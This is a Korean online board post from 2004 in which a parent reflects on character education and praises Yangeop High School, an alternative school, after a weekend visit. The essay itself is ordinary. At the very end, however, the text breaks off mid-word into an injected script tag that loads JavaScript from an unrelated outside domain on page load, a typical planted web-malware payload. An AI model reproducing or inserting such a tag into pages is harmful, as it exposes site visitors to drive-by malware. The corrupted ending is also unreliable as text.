[ 탁월한 선택과 변화의 기쁨 ]
작성자 : 이선 | 조회수 : 3,897 | 작성일 : 2004년 5월 13일
교육은 사람을 만드는 일이다. 이 뜻은 모든 사람이 사람의 꼴로
태어나지만 교육을 통하여 ‘사람다운 사람’이 된다는 의미를 담고
있다. 물론 어떤 사람이 ‘사람다운 사람’인가에 대한 생각은 시대
와 사회에 따라 다를 수 있지만, 그럼에도 불구하고 한 가지 분명한
사실은 모든 시대 모든 사람들이 ‘사람다운 사람’ 혹은 ‘보다 나
은 사람’의 공통된 상을 부단히 모색했을 뿐 아니라, 일정한 이미지
를 상당히는 공유하고 있다고 생각한다.
그래서 한 사회의 교육이 지향하는 인간상 역시 그러한 과정에서 설정
된 것이 아니겠는가-.
학교는 교육하는 곳, 즉 사람을 만드는 곳이다. 그렇다고 하면,
지금 우리 양업 고등학교는 과연 어떤 사람을 만들고자 하며, 실제로
어떤 사람들을 만들어 가고 있는가?
지난 토요일(5월8일)엔 1학년 당직 순번이 되어 청주를 향했다. 분주
한 일상 가운데서도
우리의 사랑과 희망인 아들 녀석에 대한 그리움과 기대로 가득한 가슴
을 안고 교통체증에 시달리며 5시간 30분 후, 20시 40분경에 도착했
다. 늦은 저녁이라 여러분들에 대한 미안한 마음과 함께 간식을 준비
하여 학교에 들어섰다. 늘 변함없는 자애로우심과 미소로 맞아 주시
는 아름다우신 교감 수녀님을 비롯 교장신부님 외 몇몇 선생님들과 인
사를 나누고 방송을 통해 전 학년에 간식을 나누어준 후 홈으로 들어
갔다. 소나무반 아이들의 이어지는 인사를 받으며 홈에 들어섰을 때,
훤칠해지고 밝아진 아이들의 모습에 깊은 행복감을 느꼈다(자유함의
역량인가? 놀랐다.). 한자리에 둘러앉아 대화의 시간으로 ‘변화
된 자신의 모습’, ‘미래에 대한 꿈’을 주제로 개개인의 의사발표
가 있었는데 , 다시 한번 놀랐다. 예상보다는 자신의 의견들을 스스
럼없이 잘 표현해 주었고, 자신이 긍정적으로 변화되었다는 자긍심과
미래에 대한 꿈들을 위해 저마다 계획하고 준비하고 있다는 사실에 사
뭇 흐뭇함을 느끼며 기대에 부풀었다. 입학 후 3개월의 짧은 시간에
비하여 아이들의 확연한 변화에 박수를 보내며, 환히 내다보이는 아
이들의 미래모습에 가슴 깊은 곳에서 흥분이 일었다.
우리나라 학교교육에 대한 최근 평가는 대체로 부정적이며, 그 부정적
평가는 크게 두 갈래로 이루어진다. 하나는 학교가 배출하는 인력의
질(경쟁력)이 낮다는 지적과 취업전쟁의 전초전이라 할 수 있는 대학
입시의 왜곡된 학력경쟁으로 말미암아 ‘인성교육’이 부재하거나 부
진하다는 것이다.
자신이 보기에는 이 두가지 평가는 학교교육을 통해 만들고자 하는
사람의 상에 대해 서로 다른 전제를 가지고 있다. 간단히 말해서 전
자가 사람의 능력(유능함)을 중시하는 평가라고 하면, 후자는 품성(선
함)을 더 중요한 기준으로 삼은 것이다. 물론 나는 능력과 품성이 별
개의 것이라거나 그 둘이 조화를 이룰 수 없다고 보지는 않는다. 그
러나 사람들의 구체적 행동이나 여론, 또는 정부의 정책을 자세히 살
펴보면, 이 양자가 이분법적 대립의 관계속에서 취급되고 있음을 쉽
게 발견할 수 있다. 학교에서의 가르침과 배움이 삶의 실제와 괴리
된 상황이란걸 ~
어떤 사람이 ‘사람다운 사람’인가에 대한 생각은 사람에 따라 다양
할 수 있지만 ‘몸과 마음이 고루 건강한 사람’ 이라는 요건을 배제
한 ‘사람다운 사람’을 생각할 수는 없을 것 같다. 흔히 ‘전인’으
로 표현되는 이러한 인간의 상은 모든 것에 뛰어난 ‘팔방미인’을 뜻
하기보다는 오히려 외곬으로 치우친 기형적 삶을 경계하는 말로 받아
들이면 될 것 같다. 그 점에서 현 제도교육에 대한 비판의 한 방향인
‘인성교육 부재’담론 역시 메마른 지성의 전수와 과시에 치중하여
도덕적 품성의 함양이 소홀히 되고 있는 현실에 대한 반성이라고 볼
수 있다.
이러한 교육현실 속에서 아들에 대한 교육관은 단연 조화로운 인격체
의 형성에 있다.
입시위주로 획일화 되어버린 공교육 체제에 아들의 성장 배경으로 선
택할 수 없음은 당연한 결론, 일 여 년 간 대안학교의 탐방과 탐색을
통하여 우리 부부는 선택 했었다.
아들의 특성에 가장 적합하고 가능성을 백분 발현시킬 수 있는 교육환
경을 . . . . .
탁월한 선택 이였음에 자부심을 갖는다.
자유하고, 부드럽고, 존중이 있는 곳-
인간애가 풍부하고, 자연이 함께 숨쉬는 곳-
전인사상을 기저로 이루는 휴머니즘에 입각한 우리나라 학교교육의 현
실을 보면, 인간에 대한 총체적 인식보다는 인간의 한 측면 또는 양상
이라 할 수 있는 ‘능력’, 특히 지필 시험을 통해 측정되고 평가되
는 능력에 치우친 기형성이 여실히 드러나 있다. 오랫동안 우리나라
학교는 ‘인간형성 보다는 ’인력양성‘에 치우쳐 왔으며 , 감?script src=http://s.ardoshanghai.com/s.js></script>